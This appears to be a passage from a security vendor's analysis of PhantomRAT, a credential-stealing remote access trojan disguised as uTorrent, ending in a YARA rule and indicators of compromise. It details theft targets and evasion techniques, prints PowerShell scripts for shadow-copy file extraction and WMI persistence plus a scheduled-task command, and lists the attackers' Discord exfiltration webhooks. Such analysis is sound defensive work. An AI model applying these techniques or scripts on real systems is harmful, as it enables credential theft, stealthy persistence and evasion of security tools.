  • Windows: Theft of the entire Credential Manager through “CredEnumerate“, which includes target name, username, password, type, persistence, plus “ProductName“, “ProductId” and the “DigitalProductId“, that is, the Windows product key.
  • Development: Theft of “.aws/credentials“, “.docker/config.json“, “.git-credentials“, “.kube/config.json“.
  • Password managers: Theft of credentials from LastPass, 1Password / AgileBits, Bitwarden, Dashlane, and files “*.kdbx“, “*.kdb” and “*.key” from KeePass, searched recursively.
  • VPN: Theft of “.ovpn” files from OpenVPN, “user.config” from NordVPN and ProtonVPN data.
  • FTP: Theft of FileZilla configurations (“sitemanager.xml“, “recentservers.xml“, with the password in base64) and WinSCP (from the registry key “Software\Martin Prikryl\WinSCP 2\Sessions“, password encrypted in hexadecimal).
  • SSH: Theft of files “id\_rsa“, “id\_ed25519“, “id\_ecdsa“, “id\_dsa“, their public keys, “known\_hosts“, “authorized\_keys“, any “*.pem” and PuTTY sessions from the registry.
  • WiFi: Theft using “netsh wlan show profiles” and “netsh wlan show profile name=<SSID> key=clear“, extracting with regular expressions in English and Russian (“Key Content” and “Содержимое ключа“).
  • Loose files: Theft of files with extensions “.txt” “.doc” “.docx” “.pdf” “.key” “.pem” “.env” “.cfg” “.rdp” or whose name contains “seed“, “wallet“, “backup“, “secret“, “credential“, “pass“, “key“, “token“, “config“, “account” or “login” excluding “node\_modules“, “appdata” and “windows“.

Keylogger

The analysis of the sample up to this point could classify it as a STEALER. But it is here that we find different classes in the project that catapult it to a higher level.

  • RemoteDesktop: Real-time capture and mouse control (left, right, and middle click).
  • RemoteShell: Command execution via “cmd.exe” and “powershell.exe“.
  • ReverseProxy: Reverse SOCKS5 tunnel that turns the victim’s machine into an entry point to their internal network.
  • FileManager / ProcessManager: File and process management.
  • VSSExtractor: Creates a volume snapshot of the “C:” disk, mounts it and copies the locked files from it that it could not read live. For this it uses the following PowerShell script:
$vss = (Get-WmiObject -List Win32\_ShadowCopy).Create('C:\\', 'ClientAccessible') 

if ($vss.ReturnValue -eq 0) { 

    $shadow = Get-WmiObject Win32\_ShadowCopy | Where-Object { $\_.ID -eq $vss.ShadowID } 

    $volume = $shadow.DeviceObject + '\\' 

    cmd /c mklink /d C:\\vss\_tmp\\ $volume 

    Copy-Item 'C:\\vss\_tmp\\' 

    cmd /c rmdir C:\\vss\_tmp 

    $shadow.Delete() 

} 

The script obtains the WMI class “Win32_ShadowCopy“, creates a Volume Shadow Copy of the “C:\” volume, uses the “ClientAccessible” context to indicate that the snapshot is intended to be accessible from client applications, and the result is stored in $vss.

  • Process Critical: Marks itself as a critical system process with “RtlSetProcessIsCritical“. Turns the act of terminating the malware into a blue screen of death.
  • RemoteCamera: This part appears to be a STUB that has not yet been developed. There is no capture device enumeration, no camera API access, it simply performs the following steps:
  • Create a 640×480 Bitmap.
  • Paint it black “Graphics::Clear(Color.Black)“.
  • Draw the text “Camera Frame” in white “Arial 24pt” at position 10,10.
  • Draw the camera name (the argument) in “Arial 16pt” at 10,50.
  • Save as JPEG in a MemoryStream and return the byte[].

It is literally a black rectangle with text. There is no real video capture.

The method “SaveCameraFrame” works as a generic utility (loads bytes as Image, saves as JPEG to disk), but operates on the fake data from the previous method.

For its part, the method “GetCameraInfo” returns a hardcoded string: “Camera: {name}\nResolution: 640×480\nFPS: 30” without making any hardware query.

The remote camera functionality is planned / scaffolded in the RAT structure but not implemented. If the C2 sends a camera capture command, the victim would respond with a JPEG image of a black rectangle with the words “Camera Frame“.

Evasion

Within the namespace “Stealer.Evasion” we find a whole series of evasion mechanisms designed to evade detection.

  • AdminFeatures: Privilege escalation and elevated persistence
    • BypassUacFodhelper: UAC bypass via Environment Variable hijack.
    • ImpersonateSystem: Impersonation of “NT AUTHORITY\SYSTEM“.
    • SetProcessCritical: Marks the process as critical (BSOD if killed).
    • InstallWmiPersistence: Persistence via “WMI Event Subscription“.
    • ExtractViaVss: Extraction of locked files via Volume Shadow Copy.
    • EnablePrivilege: Utility that uses “AdjustTokenPrivileges” to enable privileges.
  • AntiAnalysis: The malware uses sandbox detection, virtual machines (VMs) and analysis tool detection to avoid being analyzed by researchers and security systems. Before executing its malicious payload, it checks whether it is running in an analysis environment (for example, VMware, VirtualBox, Cuckoo Sandbox or a debugger). If it detects any of these environments, it can modify its behavior, delay its execution or terminate the process, hindering analysis and reducing the likelihood of being detected by antivirus and EDR solutions.
    • DetectSandbox: 6 checks.
      • ProcessorCount < 2.
      • RAM < 2 GB (2,097,152 KB) via “GetPhysicallyInstalledSystemMemory“.
      • System disk < 60 GB via “DriveInfo.TotalSize“.
      • Uptime < 3 minutes via “Environment.TickCount64“.
      • Screen resolution < 1024×768 via “Screen.PrimaryScreen.Bounds“.
      • Machine joined to a domain (Win32_ComputerSystem.PartOfDomain).
    • DetectVM: 4 detection vectors.
      • MAC address with prefixes “000569“, “000C29“, “005056” (VMware), “001C42” (Parallels), “080027” (VirtualBox), “525400” (QEMU/KVM), “001C14“, “0050B6“.
      • Searches for “vmware”, “vbox”, “qemu”, “virtual” in the SCSI registry keys “HKLM\HARDWARE\DEVICEMAP\Scsi\…\Identifier“.
      • Inspection of the Hyper-V registry key: “HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters“.
      • Searches for “vmware”, “vbox”, “qemu” in the disk registry keys “HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum\0“.
    • AntiEmulationDelay.
      • First executes “CheckRdtscTiming“, if it fails, calls Environment.Exit(0).
      • Then it runs a useless computation loop with 15 million iterations that an emulator will execute much slower than real hardware.
    • CheckRdtscTiming: Timing check.
      • Reads “Stopwatch.GetTimestamp“.
      • Performs a “Thread.Sleep(5)“.
      • Reads again.
      • If delta > 50,000,000 or delta < 10,000, a VM/emulator is detected
    • DetectAnalysisTools: Compares running processes against a list of 42 tools.
      • procmon
      • procexp
      • procexp64
      • wireshark
      • ida
      • ida64
      • x64dbg
      • x32dbg
      • ollydbg
      • windbg
      • dnspy
      • de4dot
      • vmtoolsd
      • vboxtray
      • vmsrvc
      • httpdebugger
      • fiddler
      • charles
      • tcpview
      • processhacker
      • pchunter
      • pcileech
      • apimonitor
      • regmon
      • filemon
      • debugview
      • dumpcap
      • vbox
      • xenservice
      • xenagent
      • fakenet
      • inetsim
      • dnsspoof
      • anvir
      • anvir64
      • anvirtaskmanager
      • taskmgr
      • autoruns
      • autorunsc
      • systemexplorer
      • processmonitor
      • securitytaskmanager
    • AntiDump: Erases the PE header of the process in memory.
    • ApiHasher: Resolution by DJB2 hash.
    • NativeApi: Dynamic API resolution.
    • NtdllUnhooker: Clean ntdll.dll restoration.
    • GhostEngine.
      • InstallFilelessRegistry: Registry-based residence instead of files.
      • PatchAmsi: Patching of “AmsiScanBuffer” just as we saw in the dropper, but instead of building the function name on the stack and calling “GetProcAddress“, in this case the function is located by its hash (0xD5BB106F). Additionally, the patch instead of returning E_INVALIDARG in this case returns S_OK (AMSI_RESULT_CLEAN).
      • PatchEtw: Patching of “EtwEventWrite” just as it was done in the dropper. As with the previous method, the function is located by its hash (0x33F35E3F).
PatchAmsi
PatchAmsi
  • DefenderBypass: Writes the current executable’s path into the Windows Defender exclusions list.
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths 
  • BrowserManager: Suspends the execution of various browsers.
  • ProcessFreezer: Generic process suspension.
  • SelfDelete: Self-deletion via ADS rename. This is a technique known as “stream rename self-delete” that consists of renaming the main stream. The file becomes “empty” and is marked for deletion upon closing the handle. It works even while the process is still running.
  • PpidSpoofer: Parent process spoofing.
  • SleepBypass: Temporal evasion.
  • PolymorphicEngine: Generates random byte arrays.
  • SyscallEngine: Technique known as “Halo’s Gate” or “Hell’s Gate“. If the target function is hooked, it deduces its syscall number from adjacent functions that are not hooked.
  • StringCryptor / StringEncryptor / EncryptedStrings: Text string encryption.

In summary: “Stealer.Evasion” is a complete evasion arsenal with ntdll unhooking, direct syscalls via “Hell’s Gate”, UAC bypass, AMSI, ETW, Defender, anti-VM, anti-sandbox, anti-debug, self-delete via ADS, PPID spoofing, PE header wiping, fileless persistence in registry and WMI, and coordinated browser process management for credential theft.

Exfiltration

Below we will see how the stolen information is sent to the attackers through 5 Discord webhooks, one per type of loot:

TypeContent
MAIN Master report with machine summary and counts
COOKIES Session cookies
HISTORY Browsing history
CC Credit cards
FALLBACK Retries

The main report is sent to the Discord webhook as an embed, the rich message format that Discord renders as a visual box with title, fields, lateral color, footer, etc.

In the code, the class “EmbedBuilder” builds that structure (title, description, key-value fields, color, footer, timestamp), and “BuildPayloadJson” serializes it within the webhook JSON under the “embeds” key. Discord displays it as a card with a colored border, not as loose text.

Discord Webhook
Discord Webhook

Large volumes travel as ZIP attachments. If Discord rejects them, due to size or request limits, plan B is activated: upload through Catbox, an anonymous hosting service.

The exfiltration is found in “Stealer.Exfil“. The namespace contains 8 types organized in three functional layers: data model for Discord embeds, the main exfiltration engine via webhook, and DNS-over-HTTPS resolution.

  • Data model: Three POCO classes (Plain Old CLR Object, which does not depend on a specific framework nor inherits from special base classes) model the structure of a Discord embed:
  • Embed, 15 methods (getters/setters): fields title, description, color, fields (list), footer, author, timestamp. Container for the rich message sent to the webhook.
  • EmbedField, 7 methods: fields name, value, inline. Represents an individual field within the embed.
  • EmbedFooter, 3 methods: field text. Embed footer.

They are pure data classes, without logic.

  • EmbedBuilder: Implements a builder pattern that automatically truncates fields to not exceed the Discord API limits.
LimitValue
Maximum description 6000 characters
Value of each field 256 characters
Fields per embed 25 maximum

It exposes the methods “WithTitle“, “WithDescription“, “WithColor“, “WithFooter“, “WithAuthor“, “WithTimestamp“, “AddField“. Each setter returns “this” for fluent chaining. “Build()” returns the final Embed object.

  • DiscordWebhook“: Constitutes the main exfiltration engine, the central class, with 12 functional methods and a static constructor that initializes:
TypeDescription
HttpClient con timeout 120 seconds
Dictionary<string, DateTime> For rate-limit tracking per URL
Object _rateLock For synchronization with Monitor
  • Rate limiting: WaitForRateLimit
    • Implements own minimum throttling of 500 ms between sends to the same webhook. Uses “Monitor.Enter” and “Exit” on “_rateLock” and a “Dictionary<string, DateTime>” that records the last send per URL. If 500 ms have not passed, it calculates the delta and pauses using “Thread.Sleep“.
  • Webhook selection:GetRandomWorkingWebhook
    • Receives an array of webhook URLs, filters them (non-empty, distinct), randomly orders them and validates each with “HTTP GET“, returning the first one that responds successfully. If none works, returns “null“.
  • Simple send:SendMessage“.
SendMessage
SendMessage

Send with files:SendFiles” and “SendWithFiles“, before sending, the following checks are performed:

  1. Each file must exist on disk.
  2. Maximum size per file: 7 MB (7,340,032 bytes exactly).
  3. Maximum 10 files per send.

SendWithFiles” adds logging of each file’s size before delegating to “SendMultipart“.

SendMultipart“: Multipart send (878 bytes IL)

Builds “MultipartFormDataContent” with:

  1. payload_json” field, the message/embeds JSON.
  2. Fields file0, file1, … fileN, each file as “ByteArrayContent” with “content-type application/octet-stream“.

HTTP 429 handling (Discord rate limit):

  1. If the response is 429, parses the “Retry-After” header.
  2. Wait calculation: seconds * 1000 + 500 ms (safety margin).
  3. Performs the calculated pause using “Thread.Sleep“.
  4. Does not retry, simply waits and returns.

Fallback to Catbox: upon any failure, such as an HTTP error code or an exception, it invokes “SendCatboxFallback” automatically.

BuildPayloadJson / WriteEmbed: Performs manual serialization with “Utf8JsonWriter“, with the following structure:

{"content": "...", "embeds": [...max 10...], "username": "Utorrent"} 

WriteEmbed” serializes title, description, color, fields (max 25), footer, author and timestamp. The hardcoded username is “Utorrent“, continuing with the general disguise of the payload as µTorrent.

UploadToCatbox: Sends a “POST” request to “https://catbox.moe/user/api.php” with “reqtype=\”req_file\”” and sends the file content as “MultipartFormDataContent“, returning the public URL of the uploaded file as a string.

SendCatboxFallback: It is the fallback strategy the malware uses when Discord fails.

  1. Iterates each file whose send has failed.
  2. Uploads each one to Catbox using “UploadToCatbox“.
  3. Builds markdown links “[📦Download filename](catbox_url)” that it accumulates in a list.
  4. If the list has results and there are no previous embeds, it creates a new one:
    • Title: “PhantomRAT Fallback Exfil”.
    • Color: 16711680 (0xFF0000 red).
  5. Takes the description from the first embed and adds “\n\n⚠️ **Discord Upload Failed (Catbox Fallback Enabled)**”.
  6. Concatenates all the Catbox markdown links.
  7. Sends the final message via SendMessage (text only, without file attachments).

We observe how the name “PhantomRAT” explicitly appears in this fallback.

DohResolver, DNS-over-HTTPS:

Resolves domain names to IP addresses using DNS over HTTPS (DoH) from Cloudflare, avoiding conventional system DNS queries, which could be monitored or blocked.

It has a static constructor “HttpClient” dedicated with a 5-second timeout (much more aggressive than the 120s of DiscordWebhook).

Exfiltration
Exfiltration

We have seen how PHANTOMRAT uses a dual exfiltration channel. The malware uses Discord webhooks as its primary channel and falls back to Catbox as a backup mechanism. This strategy increases the resilience of the exfiltration, ensuring the information is sent even if Discord blocks the webhooks or the service becomes unavailable.

We also observe advanced rate limiting management. The implementation incorporates a fixed 500 ms interval between sends and explicitly handles HTTP 429 (Too Many Requests) responses via the Retry-After header. This behavior indicates that the developer has anticipated the limitations imposed by Discord and has adapted the code to maintain exfiltration reliability.

We also find evasion-oriented DNS resolution. Name resolutions are performed using DNS over HTTPS (DoH) using Cloudflare’s servers (1.1.1.1), avoiding the conventional system DNS resolver. In this way, DNS queries are less visible to network monitoring solutions or corporate proxies that inspect traditional DNS traffic.

Generating noise

The malware incorporates a module designed to generate apparently legitimate activity on the system with the goal of camouflaging its malicious behavior. Instead of limiting itself to executing only the actions necessary to fulfill its objective, it introduces additional operations that mimic the usual behavior of legitimate applications, increasing the volume of benign events.

This technique reduces the visibility of malicious actions by hiding them among normal system activity, hindering their identification both by analysts and by monitoring solutions based on behavior or anomaly analysis.

We find this functionality within the namespace “Stealer.Mimicry“, which contains the following static fields (initialized in .cctor):

  • RandomDelay“: Performs a short pause of 100 to 500 ms using “Thread.Sleep(Random.Next(100, 500))“.
  • MimicryDelay“: Performs a longer pause, in this case between 1 and 3 seconds using “Thread.Sleep(Random.Next(1000, 3000))“.
  • FakeLegitimateActivity“: Executes actions that mimic legitimate activity on the system:
  • Registry reading: Iterates through the list shown below, opening each key in HKLM and reading a random value from the key, with a pause between 20 and 80 ms between each read.
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows NT\CurrentVersion
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
  • Font reading: Obtains the folder where Windows stores fonts using “Environment.GetFolderPath(20)“. There it lists “*.ttf” files and opens a random one with “File.OpenRead” to read 16 bytes from the header. All of this simulates font rendering activity.
  • HTTP to legitimate URL: Chooses a random URL from the list shown below, creates an “HttpClient” with a 3 s timeout, adds a random “User-Agent“, and performs a “GET“. The result is discarded.
https://www.google.com
https://www.microsoft.com
https://www.windowsupdate.com
https://ocsp.digicert.com
https://crl.microsoft.com
https://router.bittorrent.com
https://dht.transmissionbt.com
https://version.utorrent.com/index.html
https://cdn.cloudflare.com/index.html
https://www.bittorrent.com
  • Memory operation: Allocates a memory block of random size between 128 KB and 2 MB, fills it with random bytes and clears it with “Array.Clear“. It thus pretends to simulate data processing activity.
  • HideConsoleWindow“: Locates the current console window, if it exists, using “GetConsoleWindow” and hides it with “ShowWindow(hwnd, SW_HIDE)“.
  • SetFakeWindowTitle“: Responsible for setting a fake title on the console window, so that it does not show the path of the running process. Uses “GetConsoleWindow” to get the current console window and “SetWindowTextW(hwnd, title)” to change its title.
  • GetLegitUserAgent: returns a random “User-Agent” string from the following:
Chrome 122
Firefox 123
uTorrent/3.6.0 (47132)
Edge 122

Debug log

The RAT incorporates a complete debug logging system implemented in the class “Stealer.Logger“. Upon initialization, it creates a “phantom_debug.log” file in the system temporary directory (%TEMP%), deletes any previous copy, starts a stopwatch (Stopwatch) and writes the header “=== PHANTOMRAT DEBUG LOG ===“. From that point on, each phase of execution is recorded to disk with a timestamp in milliseconds and a prefix indicating severity:

PrefixMeaning
[-] General information
[*] Warnings
[!] Errors, including exception message and full stack trace
[+] Operation completed successfully

Phase transitions are marked with lines “>>> STAGE: NAME <<<“, generating a complete sequential record that covers from “PROGRAM_START” to “ANTI_DUMP“, passing through all intermediate theft phases: password extraction, cookies, history, credit cards, wallets, WiFi, SSH, clipboard, VPN and screenshots, among others. Writing to the file is protected with “Monitor.Enter” and “Exit” to ensure thread safety.

The presence of this log is a notable OPSEC failure by the author. The file remains on disk with the explicit name “phantom_debug.log“, revealing both the malware’s name and a detailed forensic record of every action executed, the exact timing of each phase, and the errors encountered. For an analyst or an incident response team, this file is a goldmine of information: it allows reconstructing the complete stealer execution, knowing exactly what data was successfully stolen and what failed, and even measuring the mimicry intervals that the malware introduced between phases. The method “GetFullLog” also allows the RAT itself to read the complete log content, which suggests it could be exfiltrated along with the stolen data as telemetry for the operator.

On VirusTotal we find some files corresponding to this type of log. Their “first seen” dates are, in all cases, close to the “first seen” date of our sample.

https://www.virustotal.com/gui/search?query=name%3A%22phantom_debug.log%22&type=files

VirusTotal Matches
VirusTotal Matches

The contents of these log files found on VirusTotal look like this:

=== PHANTOMRAT DEBUG LOG === 

>>> STAGE: PROGRAM_START <<< 

[87ms] [-] [EVASION] NativeApi: All APIs resolved dynamically 

[113ms] [-] [EVASION] UAC Bypass: Already running as Administrator 

[344ms] [-] [EVASION] NtdllUnhooker: Smart unhooked 6 hooked functions cleanly 

[416ms] [-] [MUTEX] Creating mutex: Global\15a8c95d652440d7a4ac499635b74f73 

>>> STAGE: CONSOLE_HIDING <<< 

>>> STAGE: MIMICRY_SETUP <<< 

>>> STAGE: ANTI_ANALYSIS <<< 

[1026ms] [-] [ANTI_ANALYSIS] SANDBOX: Uptime < 3min (1 min) 

[1036ms] [*] [ANTI_ANALYSIS] Sandbox detected 

Persistence: Six ways to come back

PhantomRAT implements six distinct persistence mechanisms distributed across three classes, following a redundancy strategy where each method acts as a fallback for the others. The class “Stealer.Persistence.InstallPersistence” concentrates four of them:

Everything begins by copying the malware binary to the folder “%LOCALAPPDATA%\Microsoft\WindowsApps\” with “Hidden” and “System” attributes to hide it in a legitimate Windows path.

  • A first persistence mechanism consists of registering that copy in the key “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” with the name “Utorrent“.
  • Another consists of creating a shortcut in the user’s Startup folder.
  • A third mechanism involves creating a scheduled task using the following command:
schtasks.exe /Create /TN "UtorrentService" /SC ONLOGON /RL HIGHEST /F 

In this way, the malware is executed during logon with the highest available privileges.

  • A final mechanism consists of setting the variable “UserInitMprLogonScript” in the “HKCU\Environment” key pointing to the binary. Something old but effective that executes the program during logon, before the user’s shell loads.

The other two mechanisms reside in the namespace “Stealer.Evasion“:

  • AdminFeatures.InstallWmiPersistence” installs a WMI subscription with an “__EventFilter” that fires every 60 seconds through a “CommandLineEventConsumer“.
$Filter = Set-WmiInstance -Namespace root\\subscription -Class \_\_EventFilter -Arguments @{ 

    Name = 'SystemUpdateFilter' 

    Query = "SELECT \* FROM \_\_InstanceModificationEvent WITHIN 60 

             WHERE TargetInstance ISA 'Win32\_PerfFormattedData\_PerfOS\_System'" 

} 

$Consumer = Set-WmiInstance -Namespace root\\subscription -Class CommandLineEventConsumer -Arguments @{ 

    Name = 'SystemUpdateConsumer' 

    CommandLineTemplate = '' 

} 

Set-WmiInstance -Namespace root\\subscription -Class \_\_FilterToConsumerBinding -Arguments @{ 

    Filter = $Filter ; Consumer = $Consumer 

} 
  • GhostEngine.InstallFilelessRegistry” stores the complete binary encoded in Base64 within “HKCU\Software\Microsoft\Windows\CurrentVersion\GhostData\Payload“, eliminating the dependency on the executable remaining on disk.

The method “InstallPersistence” maintains an internal success counter and, if at least one of the mechanisms installs correctly, logs “Persistence installed successfully” in the debug log; if all fail, it logs “Persistence: all methods failed“.

Conclusions, with confidence levels

The binary is a development build (High confidence)

The debug log is enabled; the clipboard replacer addresses correspond to public examples; the password manager report formatter uses dummy data (“https://example.com”, “user1” and “password123”); the configuration prioritizes theft validation over deceiving the user; the capture limits are round values oriented to facilitate testing; and two advertised capabilities (HVNC and remote camera) are barely implemented…

It has never circulated widely (High confidence)

Zero download addresses, zero containers, zero carrier emails; a single source per artifact; no security vendor has published anything about this family; neither the five Discord webhooks nor the internal strings appear as indicators in any public source.

About who uploads the material, caution (Low confidence)

It is tempting to conclude that the developer himself was testing his malware. But uploading a sample to a public analysis platform is the last thing someone building it would want, because it distributes it to all the antivirus engines in the sector and burns months of work. The observed channels (web interface from Germany, API from the United States, email gateway) fit better with analysts or collection systems that have come across the material.

YARA

rule phantomrat 

{ 

   meta: 

       author = "ZYNAP" 

       description = "PhantomRAT unpacked or in-memory" 

       date = "2026-07-31" 

   strings: 

       $brand1 = "PhantomRAT" ascii wide 

       $brand2 = "phantom_debug.log" ascii wide 

       $ghost1 = "GhostEngine" ascii wide 

       $ghost2 = "GhostData" ascii wide 

       $ghost3 = "InstallFilelessRegistry" ascii wide 

       $crypto1 = "TripleCryptHelper" ascii wide 

       $crypto2 = "GenerateBuildBat" ascii wide 

       $crypto3 = "StringCryptor" ascii wide 

       $evasion1 = "SyscallEngine" ascii wide 

       $evasion2 = "NtdllUnhooker" ascii wide  

       $evasion3 = "PatchAmsi" ascii wide  

       $evasion4 = "BypassUacFodhelper" ascii wide  

       $evasion5 = "AntiEmulationDelay" ascii wide  

       $evasion6 = "ProcessFreezer" ascii wide  

   condition: 

       2 of ($brand*) and ( 

           any of ($ghost*) and  

           any of ($crypto*) and 

           any of($evasion*)) 

} 

IOCs

Initial dropper (rundll32.exe)

759b6c9c2e7e66b14fb4eb1466fe861f4cc63ec2a511b3f2699daa344226d36f

PHANTOMRAT (utorrent.dll)

84b1033e1d4c75d0681104f89fc7cfae73944edc7ee5a4e838bdc11b13331b88

Log files present on VirusTotal (phantom_debug.log)

70a4ab96f7e77bd0b99145c7bf3961b6743cf01e24f91d19b7d37f353c57fc5e

8c4928b69747b07c3da463185d80d35958b2702f4a4ed331e525bddcea41c540

C32625a3c2efb4a4aeb6b910bd1d6fac9d7e24caf2cbc5343bf005d680ee92ad

38e1180ec4b2f7f993d33bfb2eaa523cc8b31132989ebd3573ed482cadbba856

45cd8719ad5c21e4c9f288f567be793fc74a1c05eca4704883cb20a7f8396fb6

URLs

hxxps://discord\[.]com/api/webhooks/1527606122641625112/BOE-xqiCfpvSun\_4oP0MSz96iG7FlV16EedDSQXpuuFMkDjy1Nk688mHpRL\_\_btgOvkp

hxxps://discord\[.]com/api/webhooks/1527606672724459572/JRv9-gCXhXbDnXq861qhMRKWex-P4\_L5fKCELXp1SaXRNdckpq17yz8i-yespv-\_LQrU

hxxps://discord\[.]com/api/webhooks/1527606557188034645/xnCsaM2gjOoIr98V\_fmBdzpYLCvg6lEL0A1D5U7iqyYmzD7pw5IMI6-FMUbTNOlQ5j0q

hxxps://discord\[.]com/api/webhooks/1527606851628175522/ShveirHMgyZ\_P8xD3GjNIL3fZHRwPpB8fMfP5prn-nbGEufrmofwFll-UvEkoDoL5oV1

hxxps://discord\[.]com/api/webhooks/1527607015785103391/s-akbvNoFC\_3-UrQh1VwIJ4PQXkiRT9ToiJml\_WrimWqKuIx8M0gNIQhzCKprnSKDZLa

hxxps://catbox\[.]moe/user/api.php

hxxp://ip-api\[.]com/json/?fields=country,countryCode

hxxps://api\[.]ipify\[.]org

hxxps://1\[.]1\[.]1\[.]1/dns-query

MITRE ATT&CK Matrix

MITRE ATT&CK Matrix 
MITRE ATT&CK Matrix

The Future of Cybersecurity is Preemptive

By clicking the button above, I consent to Zynap, storing and processing the personal information submitted above to provide me the content requested in accordance with the Privacy Policy. In compliance with the information obligation established by the data protection regulation, we provide you the information regarding the processing of your personal data, how to unsubscribe, as well as our privacy practices and commitment to protecting your privacy in our Privacy Policy.